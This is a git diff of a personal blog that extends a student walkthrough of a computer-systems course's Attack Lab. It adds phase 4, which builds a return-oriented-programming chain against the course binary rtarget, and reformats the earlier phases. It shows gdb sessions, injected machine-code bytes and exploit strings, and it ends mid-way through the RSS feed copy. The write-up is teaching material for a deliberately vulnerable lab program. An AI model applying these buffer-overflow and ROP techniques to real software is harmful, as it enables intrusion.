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diff --git a/Content/posts/2023-10-05-attack-lab.md b/Content/posts/2023-10-05-attack-lab.md index 1f87aca..bd92f0e 100644 --- a/Content/posts/2023-10-05-attack-lab.md +++ b/Content/posts/2023-10-05-attack-lab.md @@ -1,6 +1,6 @@ --- date: 2023-10-05 20:01 -description: Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems +description: Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems tags: gdb, reverse-engineering, c++, csci2400, assembly draft: false --- @@ -42,14 +42,14 @@ We can see that `0x18` (hex) or `24` (decimal) bytes of buffer is allocated to ` Now, since we know the buffer size we can try passing the address of the touch1 function. -``` +```bash jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1 000000000040261e <touch1>: ``` We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check: -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)' little ``` @@ -63,7 +63,7 @@ We have our padding size and the function we need to call, we can write it in `c 1e 26 40 00 00 00 00 00 ``` -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget Cookie: 0x3e8dee8f Type string:Touch1!: You called touch1() @@ -100,14 +100,14 @@ however, you must make it appear to touch2 as if you have passed your cookie as This hint tells us that we need to store the cookie in the rdi register -``` +```asm movq $0x3e8dee8f,%rdi retq ``` To get the byte representation, we need to compile the code and then disassemble it. -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o phase2.s: Assembler messages: phase2.s: Warning: end of file not at end of a line; newline inserted @@ -140,7 +140,7 @@ We need to find the address of `%rsp` after calling `<Gets>` and sending a reall What we are going to do now is to add a break on `getbuf`, and run the program just after it asks us to enter a string and then find the address of `%rsp` -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 Copyright (C) 2022 Free Software Foundation, Inc. @@ -197,7 +197,7 @@ address of touch2 function To get the address of `touch2` we can run: -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2 000000000040264e <touch2>: 402666: 74 2a je 402692 <touch2+0x44> @@ -214,7 +214,7 @@ jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep to Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, -``` +```bash joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget Cookie: 0x3e8dee8f Type string:Touch2!: You called touch2(0x3e8dee8f) @@ -238,8 +238,13 @@ where you place the string representation of your cookie. Because `hexmatch` and `strncmp` might overwrite the buffer allocated for `getbuf` we will try to store the data after the function `touch3` itself. +The rationale is simple: by the time our payload is executed, we will be setting `%rdi` to point to the cookie. Placing the cookie after `touch3` function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets. + => The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex) +* Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the `touch3` function) +* Touch 3 (8 bytes): The address of the `touch3` function is 8 bytes long. + We can use our address for `%rsp` from phase 2, and simply add `0x28` to it. => `0x55621b40` + `0x28` = `0x55621B68` @@ -251,7 +256,7 @@ movq $0x55621B68, %rdi retq ``` -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o phase3.s: Assembler messages: phase3.s: Warning: end of file not at end of a line; newline inserted @@ -278,7 +283,7 @@ cookie string To quickly get the address for `touch3` -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3 0000000000402763 <touch3>: 402781: 74 2d je 4027b0 <touch3+0x4d> @@ -287,7 +292,7 @@ jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep to We need to use an ASCII to Hex converter to convert the cookie string into hex. -``` +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p 3365386465653866 ``` @@ -303,7 +308,8 @@ Thus, our cookie string representation is `33 65 38 64 65 65 38 66` 33 65 38 64 65 65 38 66 ``` -``` + +```bash jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget Cookie: 0x3e8dee8f Type string:Touch3!: You called touch3("3e8dee8f") @@ -313,3 +319,121 @@ NICE JOB! ``` Phases 1-3 Complete. + +## Phase 4 + +> For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your +gadget farm. You can construct your solution using gadgets consisting of the following instruction types, +and using only the first eight x86-64 registers (%rax–%rdi). +* movq +* popq +* ret +* nop + +> All the gadgets you need can be found in the region of the code for rtarget demarcated by the +functions start_farm and mid_farm + +> You can do this attack with just two gadgets + +> When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit +string will contain a combination of gadget addresses and data. + +Let us check if we can find `popq %rdi` between `start_farm` and `end_farm` + +The way a normal person would find the hex representation `58` to be between `start_farm` and `end_farm` is to find the line numbers for both and +then search between those lines. But, what if you don't want to move away from the terminal? + +Assuming, the disassembled code for `rtarget` is stored in `dis2.txt` (`objdump -d rtarget > dis2.txt`) + +``` +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58" +16-000000000040281f <getval_373>: +17- 40281f: f3 0f 1e fa endbr64 +18: 402823: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax +19- 402828: c3 ret +20- +-- +26-0000000000402834 <setval_212>: +27- 402834: f3 0f 1e fa endbr64 +28: 402838: c7 07 58 90 c3 92 movl $0x92c39058,(%rdi) +29- 40283e: c3 ret +30- +-- +41-0000000000402854 <setval_479>: +42- 402854: f3 0f 1e fa endbr64 +43: 402858: c7 07 58 c7 7f 61 movl $0x617fc758,(%rdi) +44- 40285e: c3 ret +45- +``` + +If we were to pick the first one as our gadget, the instruction address is `0x402823`, but to get to the instruction `58` we need to add 4 bytes: + +`=> Gadget address = 0x402823 + 0x4 = 0x402827` + +The PDF already provides the next gadget we are supposed to look for `48 89 c7` + +``` +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7" +11-0000000000402814 <setval_253>: +12- 402814: f3 0f 1e fa endbr64 +13: 402818: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi) +14- 40281e: c3 ret +15- +-- +31-000000000040283f <getval_424>: +32- 40283f: f3 0f 1e fa endbr64 +33: 402843: b8 48 89 c7 c3 mov $0xc3c78948,%eax +34- 402848: c3 ret +35- +36-0000000000402849 <setval_417>: +37- 402849: f3 0f 1e fa endbr64 +38: 40284d: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) +39- 402853: c3 ret +40- +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ +``` + +We cannot use the first match because it is followed by `0x94` instead of `c3`, either of the next two matches will work (`0x90` is `nop` and it does nothing but increment the program counter by 1) + +Again, we have to account for the offset. + +Taking `0x402843` we need to add just 1 byte. + +`=> 0x402843 + 1 = 0x402844` + + +Our answer for this file is going to be: + +``` +padding +gadget1 +cookie +gadget2 +touch2 +``` + +```bash +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ cat dis2.txt | grep touch2 +000000000040264e <touch2>: + 402666: 74 2a je 402692 <touch2+0x44> + 4026b2: eb d4 jmp 402688 <touch2+0x3a> +``` + +``` +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +00 00 00 00 00 00 00 00 +27 28 40 00 00 00 00 00 +8f ee 8d 3e 00 00 00 00 +44 28 40 00 00 00 00 00 +4e 26 40 00 00 00 00 00 +``` + +```shell +jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ ./hex2raw < ./rtarget.l2.txt | ./rtarget +Cookie: 0x3e8dee8f +Type string:Touch2!: You called touch2(0x3e8dee8f) +Valid solution for level 2 with target rtarget +PASS: Sent exploit string to server to be validated. +NICE JOB! +``` diff --git a/docs/feed.rss b/docs/feed.rss index 212045a..b4a6f97 100644 --- a/docs/feed.rss +++ b/docs/feed.rss @@ -4,8 +4,8 @@ <title>Navan's Archive</title> <description>Rare Tips, Tricks and Posts</description> <link>https://web.navan.dev/</link><language>en</language> - <lastBuildDate>Tue, 17 Oct 2023 14:53:31 -0000</lastBuildDate> - <pubDate>Tue, 17 Oct 2023 14:53:31 -0000</pubDate> + <lastBuildDate>Tue, 17 Oct 2023 20:18:44 -0000</lastBuildDate> + <pubDate>Tue, 17 Oct 2023 20:18:44 -0000</pubDate> <ttl>250</ttl> <atom:link href="https://web.navan.dev/feed.rss" rel="self" type="application/rss+xml"/> @@ -1372,7 +1372,7 @@ Serving HTTP on 0.0.0.0 port 8000 ... Attack Lab </title> <description> - Walkthrough of Attack Lab Phases 1-3 for CSCI 2400 Computer Systems + Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems </description> <link>https://web.navan.dev/posts/2023-10-05-attack-lab.html</link> <pubDate>Thu, 05 Oct 2023 20:01:00 -0000</pubDate> @@ -1412,15 +1412,19 @@ Serving HTTP on 0.0.0.0 port 8000 ... <p>Now, since we know the buffer size we can try passing the address of the touch1 function.</p> -<pre><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1 -000000000040261e <touch1>: +<div class="codehilite"> +<pre><span></span><code>jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch1 +000000000040261e<span class="w"> </span><touch1>: </code></pre> +</div> <p>We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)' +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>python<span class="w"> </span>-c<span class="w"> </span><span class="s1">'import sys; print(sys.byteorder)'</span> little </code></pre> +</div> <p>We have our padding size and the function we need to call, we can write it in <code>ctarget.l1.txt</code></p> @@ -1430,13 +1434,15 @@ little 1e 26 40 00 00 00 00 00 </code></pre> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget -Cookie: 0x3e8dee8f -Type string:Touch1!: You called touch1() -Valid solution for level 1 with target ctarget -PASS: Sent exploit string to server to be validated. -NICE JOB! +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l1.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch1!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch1<span class="o">()</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">1</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! </code></pre> +</div> <h2>Phase 2</h2> @@ -1475,25 +1481,29 @@ NICE JOB! <p>This hint tells us that we need to store the cookie in the rdi register</p> -<pre><code>movq $0x3e8dee8f,%rdi -retq +<div class="codehilite"> +<pre><span></span><code><span class="nf">movq</span><span class="w"> </span><span class="no">$0x3e8dee8f</span><span class="p">,</span><span class="nv">%rdi</span><span class="w"> </span> +<span class="no">retq</span> </code></pre> +</div> <p>To get the byte representation, we need to compile the code and then disassemble it.</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o -phase2.s: Assembler messages: -phase2.s: Warning: end of file not at end of a line; newline inserted +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase2.s<span class="w"> </span><span class="o">&&</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase2.o +phase2.s:<span class="w"> </span>Assembler<span class="w"> </span>messages: +phase2.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted -phase2.o: file format elf64-x86-64 +phase2.o:<span class="w"> </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64 -Disassembly of section .text: +Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text: -0000000000000000 <.text>: - 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi - 7: c3 ret +<span class="m">0000000000000000</span><span class="w"> </span><.text>: +<span class="w"> </span><span class="m">0</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span>8f<span class="w"> </span>ee<span class="w"> </span>8d<span class="w"> </span>3e<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x3e8dee8f,%rdi +<span class="w"> </span><span class="m">7</span>:<span class="w"> </span>c3<span class="w"> </span>ret<span class="w"> </span> </code></pre> +</div> <p>Thus, the byte representation for our asm code is <code>48 c7 c7 8f ee 8d 3e c3</code></p> @@ -1512,48 +1522,50 @@ Disassembly of section .text: <p>What we are going to do now is to add a break on <code>getbuf</code>, and run the program just after it asks us to enter a string and then find the address of <code>%rsp</code></p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget -GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 -Copyright (C) 2022 Free Software Foundation, Inc. -License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> -This is free software: you are free to change and redistribute it. -There is NO WARRANTY, to the extent permitted by law. -Type "show copying" and "show warranty" for details. -This GDB was configured as "x86_64-linux-gnu". -Type "show configuration" for configuration details. -For bug reporting instructions, please see: +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gdb<span class="w"> </span>./ctarget +GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1 +Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc. +License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span><http://gnu.org/licenses/gpl.html> +This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it. +There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law. +Type<span class="w"> </span><span class="s2">"show copying"</span><span class="w"> </span>and<span class="w"> </span><span class="s2">"show warranty"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details. +This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">"x86_64-linux-gnu"</span>. +Type<span class="w"> </span><span class="s2">"show configuration"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details. +For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see: <https://www.gnu.org/software/gdb/bugs/>. -Find the GDB manual and other documentation resources online at: - <http://www.gnu.org/software/gdb/documentation/>. - -For help, type "help". -Type "apropos word" to search for commands related to "word"... -Reading symbols from ./ctarget... -(gdb) b getbuf -Breakpoint 1 at 0x402608: file buf.c, line 12. -(gdb) run -Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget -Cookie: 0x3e8dee8f - -Breakpoint 1, getbuf () at buf.c:12 -12 buf.c: No such file or directory. -(gdb) disas -Dump of assembler code for function getbuf: -=> 0x0000000000402608 <+0>: sub $0x18,%rsp - 0x000000000040260c <+4>: mov %rsp,%rdi - 0x000000000040260f <+7>: call 0x4028a9 <Gets> - 0x0000000000402614 <+12>: mov $0x1,%eax - 0x0000000000402619 <+17>: add $0x18,%rsp - 0x000000000040261d <+21>: ret -End of assembler dump. -(gdb) until *0x402614 -Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe -getbuf () at buf.c:15 -15 in buf.c -(gdb) x/s $rsp -0x55621b40: "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe" -(gdb) +Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at: +<span class="w"> </span><http://www.gnu.org/software/gdb/documentation/>. + +For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">"help"</span>. +Type<span class="w"> </span><span class="s2">"apropos word"</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">"word"</span>... +Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./ctarget... +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>b<span class="w"> </span>getbuf +Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x402608:<span class="w"> </span>file<span class="w"> </span>buf.c,<span class="w"> </span>line<span class="w"> </span><span class="m">12</span>. +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>run +Starting<span class="w"> </span>program:<span class="w"> </span>/home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f + +Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:12 +<span class="m">12</span><span class="w"> </span>buf.c:<span class="w"> </span>No<span class="w"> </span>such<span class="w"> </span>file<span class="w"> </span>or<span class="w"> </span>directory. +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas +Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>getbuf: +<span class="o">=</span>><span class="w"> </span>0x0000000000402608<span class="w"> </span><+0>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x18,%rsp +<span class="w"> </span>0x000000000040260c<span class="w"> </span><+4>:<span class="w"> </span>mov<span class="w"> </span>%rsp,%rdi +<span class="w"> </span>0x000000000040260f<span class="w"> </span><+7>:<span class="w"> </span>call<span class="w"> </span>0x4028a9<span class="w"> </span><Gets> +<span class="w"> </span>0x0000000000402614<span class="w"> </span><+12>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x1,%eax +<span class="w"> </span>0x0000000000402619<span class="w"> </span><+17>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x18,%rsp +<span class="w"> </span>0x000000000040261d<span class="w"> </span><+21>:<span class="w"> </span>ret<span class="w"> </span> +End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump. +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">until</span><span class="w"> </span>*0x402614 +Type<span class="w"> </span>string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470<span class="w"> </span>trq378t4378gwe +getbuf<span class="w"> </span><span class="o">()</span><span class="w"> </span>at<span class="w"> </span>buf.c:15 +<span class="m">15</span><span class="w"> </span><span class="k">in</span><span class="w"> </span>buf.c +<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/s<span class="w"> </span><span class="nv">$rsp</span> +0x55621b40:<span class="w"> </span><span class="s2">"fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe"</span> +<span class="o">(</span>gdb<span class="o">)</span> </code></pre> +</div> <p>So, the address for <code>%rsp</code> is <code>0x55621b40</code></p> @@ -1567,11 +1579,13 @@ address of touch2 function <p>To get the address of <code>touch2</code> we can run:</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2 -000000000040264e <touch2>: - 402666: 74 2a je 402692 <touch2+0x44> - 4026b2: eb d4 jmp 402688 <touch2+0x3a> +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch2 +000000000040264e<span class="w"> </span><touch2>: +<span class="w"> </span><span class="m">402666</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2a<span class="w"> </span>je<span class="w"> </span><span class="m">402692</span><span class="w"> </span><touch2+0x44> +<span class="w"> </span>4026b2:<span class="w"> </span>eb<span class="w"> </span>d4<span class="w"> </span>jmp<span class="w"> </span><span class="m">402688</span><span class="w"> </span><touch2+0x3a> </code></pre> +</div> <pre><code>48 c7 c7 8f ee 8d 3e c3 00 00 00 00 00 00 00 00 @@ -1582,13 +1596,15 @@ address of touch2 function <p>Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes, </p> -<pre><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget -Cookie: 0x3e8dee8f -Type string:Touch2!: You called touch2(0x3e8dee8f) -Valid solution for level 2 with target ctarget -PASS: Sent exploit string to server to be validated. -NICE JOB! +<div class="codehilite"> +<pre><span></span><code>joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>./hex2raw<span class="w"> </span><<span class="w"> </span>ctarget.l2.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>./ctarget<span class="w"> </span> +Cookie:<span class="w"> </span>0x3e8dee8f +Type<span class="w"> </span>string:Touch2!:<span class="w"> </span>You<span class="w"> </span>called<span class="w"> </span>touch2<span class="o">(</span>0x3e8dee8f<span class="o">)</span> +Valid<span class="w"> </span>solution<span class="w"> </span><span class="k">for</span><span class="w"> </span>level<span class="w"> </span><span class="m">2</span><span class="w"> </span>with<span class="w"> </span>target<span class="w"> </span>ctarget +PASS:<span class="w"> </span>Sent<span class="w"> </span>exploit<span class="w"> </span>string<span class="w"> </span>to<span class="w"> </span>server<span class="w"> </span>to<span class="w"> </span>be<span class="w"> </span>validated. +NICE<span class="w"> </span>JOB! </code></pre> +</div> <h2>Phase 3</h2> @@ -1613,8 +1629,15 @@ NICE JOB! <p>Because <code>hexmatch</code> and <code>strncmp</code> might overwrite the buffer allocated for <code>getbuf</code> we will try to store the data after the function <code>touch3</code> itself.</p> +<p>The rationale is simple: by the time our payload is executed, we will be setting <code>%rdi</code> to point to the cookie. Placing the cookie after <code>touch3</code> function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets.</p> + <p>=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)</p> +<ul> +<li>Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the <code>touch3</code> function)</li> +<li>Touch 3 (8 bytes): The address of the <code>touch3</code> function is 8 bytes long.</li> +</ul> + <p>We can use our address for <code>%rsp</code> from phase 2, and simply add <code>0x28</code> to it.</p> <p>=> <code>0x55621b40</code> + <code>0x28</code> = <code>0x55621B68</code></p> @@ -1627,19 +1650,21 @@ NICE JOB! </code></pre> </div> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o -phase3.s: Assembler messages: -phase3.s: Warning: end of file not at end of a line; newline inserted +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>gcc<span class="w"> </span>-c<span class="w"> </span>phase3.s<span class="w"> </span><span class="o">&&</span><span class="w"> </span>objdump<span class="w"> </span>-d<span class="w"> </span>phase3.o +phase3.s:<span class="w"> </span>Assembler<span class="w"> </span>messages: +phase3.s:<span class="w"> </span>Warning:<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file<span class="w"> </span>not<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>line<span class="p">;</span><span class="w"> </span>newline<span class="w"> </span>inserted -phase3.o: file format elf64-x86-64 +phase3.o:<span class="w"> </span>file<span class="w"> </span>format<span class="w"> </span>elf64-x86-64 -Disassembly of section .text: +Disassembly<span class="w"> </span>of<span class="w"> </span>section<span class="w"> </span>.text: -0000000000000000 <.text>: - 0: 48 c7 c7 68 1b 62 55 mov $0x55621b68,%rdi - 7: c3 ret +<span class="m">0000000000000000</span><span class="w"> </span><.text>: +<span class="w"> </span><span class="m">0</span>:<span class="w"> </span><span class="m">48</span><span class="w"> </span>c7<span class="w"> </span>c7<span class="w"> </span><span class="m">68</span><span class="w"> </span>1b<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">55</span><span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x55621b68,%rdi +<span class="w"> </span><span class="m">7</span>:<span class="w"> </span>c3<span class="w"> </span>ret </code></pre> +</div> <p>Thus, our answer is going to be in the form:</p> @@ -1652,17 +1677,21 @@ cookie string <p>To quickly get the address for <code>touch3</code></p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3 -0000000000402763 <touch3>: - 402781: 74 2d je 4027b0 <touch3+0x4d> - 4027d3: eb d1 jmp 4027a6 <touch3+0x43> +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span>cat<span class="w"> </span>dis.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>touch3 +<span class="m">0000000000402763</span><span class="w"> </span><touch3>: +<span class="w"> </span><span class="m">402781</span>:<span class="w"> </span><span class="m">74</span><span class="w"> </span>2d<span class="w"> </span>je<span class="w"> </span>4027b0<span class="w"> </span><touch3+0x4d> +<span class="w"> </span>4027d3:<span class="w"> </span>eb<span class="w"> </span>d1<span class="w"> </span>jmp<span class="w"> </span>4027a6<span class="w"> </span><touch3+0x43> </code></pre> +</div> <p>We need to use an ASCII to Hex converter to convert the cookie string into hex.</p> -<pre><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p -3365386465653866 +<div class="codehilite"> +<pre><span></span><code>jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$<span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-n<span class="w"> </span>3e8dee8f<span class="w"> </span><span class="p">|</span><span class="w"> </span>xxd<span class="w"> </span>-p +<span class="m">3365386465653866</span> </code></pre> +</div> <p>Thus, our cookie string representation is <code>33 65 38 64 65 65 38 66</code></p> @@ -1674,15 +1703,140 @@ cookie string 33 65 38 64 65 65 38 66 </code></pre> 